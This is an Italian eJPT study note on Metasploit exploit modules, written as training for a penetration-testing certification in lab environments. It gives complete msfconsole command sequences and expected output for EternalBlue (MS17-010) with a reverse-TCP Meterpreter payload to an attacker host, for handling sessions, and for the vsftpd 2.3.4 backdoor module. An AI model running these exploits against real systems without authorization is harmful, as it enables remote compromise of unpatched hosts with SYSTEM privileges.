eJPT · Metasploit Framework
Exploit Modules
Difficoltà: Intermediate Time to Master: 2.5h Prerequisiti: 02-Auxiliary-Modules.md Lab: INE PTS, Exploitation labs
Obiettivo
Qui arrivi al momento che aspettavi da quando hai iniziato: trasformare un modulo Metasploit in una sessione aperta sul target. Il flusso è sempre lo stesso — exploit -> payload -> sessione — e MS17-010/EternalBlue è il case study che lo insegna meglio di chiunque altro, tanto che è uno dei moduli più citati nel syllabus eJPTv2. Da lì impari anche a gestire più sessioni in parallelo, perché in un vero assessment raramente c’è solo un host vulnerabile.
Concetti chiave
Flusso standard di un exploit Metasploit
use exploit/...: carica il moduloshow options/show targets: verifica parametri e target OS specificoset RHOSTS,set LHOST, eventuali opzioni SMB/credenzialiset payload ...: scegli il payload (spesso già impostato un default sensato)check: verifica se il target risulta vulnerabile SENZA sfruttarlo (non tutti i moduli lo supportano)exploitorun: lancia l’attacco
check vs exploit
check invia una richiesta non invasiva per verificare la vulnerabilità: utile prima di un exploit rischioso/instabile come EternalBlue, che può causare BSOD su target non idonei. Ma non fidarti ciecamente della risposta: non tutti i moduli implementano check in modo affidabile, e un “Cannot Reliably Check Exploitability” non significa affatto che il target non sia vulnerabile — significa solo che il modulo non sa dirtelo con certezza.
Gestione sessioni
| Comando | Effetto |
|---|---|
sessions -l |
elenca le sessioni attive |
sessions -i 1 |
interagisce con la sessione 1 |
background (in sessione) |
mette la sessione in background senza chiuderla |
sessions -k 1 |
termina la sessione 1 |
Strumenti
| Tool | Comando base | Output | Note |
|---|---|---|---|
| exploit/windows/smb/ms17_010_eternalblue | vedi Esempio 1 | sessione meterpreter SYSTEM | richiede SMBv1 attivo, target non patchato MS17-010 |
| exploit/multi/handler | use exploit/multi/handler |
listener per payload generati con msfvenom | vedi 04-Meterpreter-Msfvenom.md |
| exploit/unix/ftp/vsftpd_234_backdoor | set RHOSTS ...; run |
shell su vsftpd 2.3.4 backdoored | esempio classico Linux/FTP |
Payload / Esempi
Esempio 1: EternalBlue completo (case study MS17-010)
msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS 10.10.10.5
msf6 exploit(windows/smb/ms17_010_eternalblue) > set LHOST 10.10.14.2
msf6 exploit(windows/smb/ms17_010_eternalblue) > set payload windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms17_010_eternalblue) > check
msf6 exploit(windows/smb/ms17_010_eternalblue) > exploit
Output atteso:
[*] 10.10.10.5:445 - Host is likely VULNERABLE to MS17-010!
[*] Started reverse TCP handler on 10.10.14.2:4444
[+] 10.10.10.5:445 - The target is vulnerable.
[*] Meterpreter session 1 opened (10.10.14.2:4444 -> 10.10.10.5:49158)
Spiegazione: check conferma la vulnerabilità prima di rischiare instabilità del target; una volta ottenuta la sessione, il SYSTEM privilege è già garantito dalla natura kernel-level dell’exploit (nessun privesc separato necessario in questo caso specifico).
Esempio 2: gestione di sessioni multiple
msf6 exploit(windows/smb/ms17_010_eternalblue) > sessions -l
msf6 exploit(windows/smb/ms17_010_eternalblue) > sessions -i 1
meterpreter > background
msf6 exploit(windows/smb/ms17_010_eternalblue) > sessions -i 2
Output atteso:
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 meterpreter x64/windows NT AUTHORITY\SYSTEM 10.10.14.2:4444 -> 10.10.10.5:49158
2 meterpreter x64/windows NT AUTHORITY\SYSTEM 10.10.14.2:4444 -> 10.10.10.7:49201
Spiegazione: in un assessment con più host vulnerabili è normale avere sessioni parallele; background (o Ctrl+Z) sospende senza chiudere, permettendo di tornare a msfconsole e aprirne altre.
Esempio 3: exploit Linux su servizio storicamente backdoored
msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 10.10.10.8
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit
Spiegazione: vsftpd 2.3.4 (2011) conteneva un backdoor inserito da terzi nel codice sorgente distribuito: una connessione con username terminante in :) apre una shell sulla porta 6200. Esempio didattico classico per capire quanto sia critico verificare l’integrita del software scaricato.
Lab Hands-On
Lab 1: INE PTS, Exploitation con Metasploit
Obiettivo: sfruttare almeno 2 servizi diversi (Windows e Linux) fino a ottenere una sessione Difficulty: Media Time: 1.5h
Walkthrough breve:
- Riusa gli host/servizi già in database da 02-Auxiliary-Modules.md
- Cerca exploit corrispondenti alle versioni trovate
- Verifica con
checkdove disponibile, poi esegui - Passa alla sessione con 04-Meterpreter-Msfvenom.md
Common Mistakes
- Lanciare exploit instabili (es. EternalBlue) senza
checksu ambienti dove un crash e critico -> in un lab e accettabile, in un engagement reale va concordato - Dimenticare
set LHOSTcorretto (deve essere l’IP raggiungibile dal target, non 127.0.0.1) -> nessuna connessione di ritorno - Perdere traccia di quale sessione corrisponde a quale host -> usa
sessions -lspesso
Link Utili
Connessioni
- Prerequisito: 02-Auxiliary-Modules.md
- Prossimo Step: 04-Meterpreter-Msfvenom.md
- Combinazione con: ../08-Exploitation-PostEx/01-Manual-Exploitation-Searchsploit.md
Checklist di padronanza
- So eseguire il flusso completo use/set/check/exploit
- So spiegare cosa fa
checke i suoi limiti - So gestire sessioni multiple con sessions -l/-i/-k
- Conosco almeno 2 exploit case study (Windows SMB, Linux FTP)